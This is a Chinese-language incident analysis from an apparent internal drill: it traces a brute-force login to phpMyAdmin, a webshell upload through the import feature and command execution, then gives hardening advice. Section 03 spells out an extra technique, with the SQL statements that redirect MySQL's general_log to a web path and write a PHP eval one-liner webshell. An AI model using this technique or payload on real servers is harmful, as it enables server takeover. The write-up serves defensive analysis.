为方便您的阅读,可点击下方蓝色字体,进行跳转↓↓↓
- 01 事件背景介绍
- 02 流量分析过程
- 03 事件分析结果
- 04 安全加固建议
01 事件背景介绍
某内部应急演练中,安全部门在安全设备上观察到大量phpMyAdmin登录请求,现需根据流量情况进行安全事件分析。
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。
攻击者会使用弱口令等方式对phpMyAdmin进行登录尝试,登录成功后通过SQL查询获取敏感数据,或者使用phpMyAdmin写入webshell,从而获取服务器权限。
02 流量分析过程
发现攻击者对10.X.X.10的phpMyAdmin的控制台进行大量的账号密码暴力破解攻击,触发安全设备的攻击告警事件,进一步查看服务器响应包,发现存在302状态码,即攻击者爆破口令成功,成功登录phpMyAdmin管理后台。
进一步追溯攻击者IP,以攻击者IP作为源地址进行安全事件检索,进一步发现攻击者使用phpMyAdmin控制台的import功能上传shell.php,将上传的webshell成功保存到C盘目录下。
而后攻击者进一步试图连接shell.php,执行命令且服务器成功返回命令执行结果。
据此判断主机10.X.X.10失陷,继续观察其他流量,未发现其余明显异常行为。
03 事件分析结果
攻击者使用弱口令爆破方式对phpMyAdmin进行登录尝试,登录成功phpMyAdmin的import模块功能写入webshell,从而获取服务器权限。
上述是通过phpMyAdmin的import模块功能写入webshell,这里额外补充利用phpmyadmin 日志写入 webshell的攻击手法。
在 phpmyadmin 中,利用 SQL 语句 show variables like ‘%general%’;查看general log 是否开启
若发现日志读写功能关闭,于是使用 SQL 语句:SET GLOBAL general_log=‘on’; SHOW VARIABLES LIKE ‘%general%’;打开general_log 日志读写功能。
打开日志读写功能后,根据图中 general_log_file 中的绝对路径制作一个木马文件:SET GLOBAL general_log_file=‘C:/phpStudy/www/shell.php’
接着往 shell.php 写入 SELECT '<?php eval($_POST["jkxy"]);?>
利用中国蚁剑工具连接一句话 shell.php,连接测试成功,打开虚拟终端,输入命令 whoami,发现命令执行成功。
04 安全加固建议
1、通过流量分析得知的webshell上传路径,对Webshell文件进行删除处理。
2、利用Webshell查杀攻击对网站目录进行进一步的扫描排查,如使用D盾查杀工具等。
3、及时修改mysql的root用户口令,确保密码强度符合要求,建议大小写字母+数字+特殊字符+8位以上。